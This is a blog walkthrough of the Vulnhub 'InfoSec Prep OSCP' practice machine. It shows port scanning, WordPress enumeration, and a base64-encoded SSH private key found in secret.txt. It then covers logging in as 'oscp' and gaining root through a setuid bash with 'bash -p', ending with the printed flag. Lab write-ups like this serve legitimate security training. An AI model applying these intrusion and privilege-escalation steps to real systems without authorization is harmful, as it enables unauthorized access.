Home Vulnhub - InfoSec Prep OSCP
Post
Cancel

Vulnhub - InfoSec Prep OSCP

Challenge description

https://www.vulnhub.com/entry/infosec-prep-oscp,508/

This box should be easy. This machine was created for the InfoSec Prep Discord Server (https://discord.gg/RRgKaep) as a give way for a 30d voucher to the OSCP Lab, Lab materials, and an exam attempt.

The box was created with VMWare Workstation, but it should work with VMWare Player and Virtualbox. Upon booting up it should display an IP address. This is the target address based on whatever settings you have. You should verify the address just incase.

Find the flag.txt in /root/ and submit it to the TryHarder bot on Discord to enter the give away. The command is only available for so long. So if you are just joining the server or doing the box for fun, the command won’t be there any longer at a later time.

*Please do not publish any write ups for this box until August 7, 2020 as this is probably when the give away will end. After that, fair game! *A big thanks to Offensive Security for providing the OSCP voucher.*

Box created by FalconSpy with the support of the staff at InfoSec Prep Discord Server This works better with VirtualBox rather than VMware. ## Changelog 2020/07/10 - v1.0.1 - Fixed IP issue 2020/07/11 - v1.0.0

Reconnaissance / Enumeration

Port scanning and service identification

We start by scanning the ports on this machine. We have 3 open ports running SSH, HTTP and MySQL services.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ rustscan -a x.x.x.x -r 1-65535 -- -A -sC

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91:ba:0d:d4:39:05:e3:13:55:57:8f:1b:46:90:db:e4 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTlNTlvI4qQLNU17b70iKB5xuJlNnZ3zMZeHzfG3H5TcsVNmgImTe4FjEez0e4lKqJvTMsxrPVFHTq6gqfYHwN0KN34x0dv0ngrc+wrrWNoHQrQQqeFuTZy0Tt6BY97082YpFvZfDAvAwJoutkyCxeBb1+C9Y7g6kQYXlNFOuHoq/2m6vki9yVW7Bu3IVeLryw/7pnwzb/tr3K86GEsGc8+87ZIyFrgE1Rca/Y1hD03Uk0s/Kpmi3hCybJwPIoB1WmO2Xz2US8xqzuefsX6UzRazFTQKlTCq5gTTkpNE5fJzS/WmvK7w79aoFJPmVBCXOSXkoe9uoi9a64OnsY0jF8ao7uOUJp84QIUyPRLuPXqlxXwZenqt5RKH6dXyw9tsV2Q3BvZwJwvStFjiQFIi2zIp5jmVcYxwqV4CTt7Ev0ybATE00YAfCoS5i2LJR+fquN9XkS4ay3p9qoZZW7Q4uujWfUUaSO/gYLiOTpbTOl4Smgzc+NvqFrUk1OxPttDSc=
|   256 0f:35:d1:a1:31:f2:f6:aa:75:e8:17:01:e7:1e:d1:d5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOX6nl2HC2/Prh0l8uVsnAzinDT2+rhj1VasPM8Df3ntzgb8XzQat7zC/nHm0v7yLWo/CjpI6pD+mrBh3P/wuqk=
|   256 af:f1:53:ea:7b:4d:d7:fa:d8:de:0d:f2:28:fc:86:d7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBefJyPm1sjN+QedhTj6S1CPbXQZEFXb58RICJh970R8
80/tcp    open  http    syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry
|_/secret.txt
|_http-title: OSCP Voucher – Just another WordPress site
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
33060/tcp open  mysqlx? syn-ack
| fingerprint-strings:
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp

Web Enumeration

What we have in front of us is a Wordpress v5.4.2 site. The only interesting informations we can get from the site itself is the name of the user on the VM:

username

Running WPScan agaisnt it reveal some CVEs but it doesn’t gets us anywhere

At the root of the site, enumeration finds a text file named “secret.txt”… interesting..

In this file, we find a base64 encoded string which we decode using Cyberchef. The result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IVATE KEY-----

Foothold

Having the key in hands, we now have to find with which user we can use it.

Remember the blog post about “the only user on this box” ? Let’s try this..

1
ssh oscp@1.1.1.1 -i secret_id_rsa

It works.. we now have a foothold as “oscp” user.

Privilege Escalation

Now it’s time to escalate our privileges to root. Let’s start with the basic linux privilege escalation checklist:

  • sudo permissions : nothing
  • cron jobs : nothing
  • SUID binaries : /usr/bin/bash has setuid bit set
1
2
3
4
5
6
bash-5.0$ /usr/bin/bash -p
bash-5.0# id && hostname
uid=1000(oscp) gid=1000(oscp) euid=0(root) egid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lxd),1000(oscp)
oscp
bash-5.0# cat /root/flag.txt
d73b04b0e696b0945283defa3eee4538

Thanks for reading <3

h3x

This post is licensed under CC BY 4.0 by the author.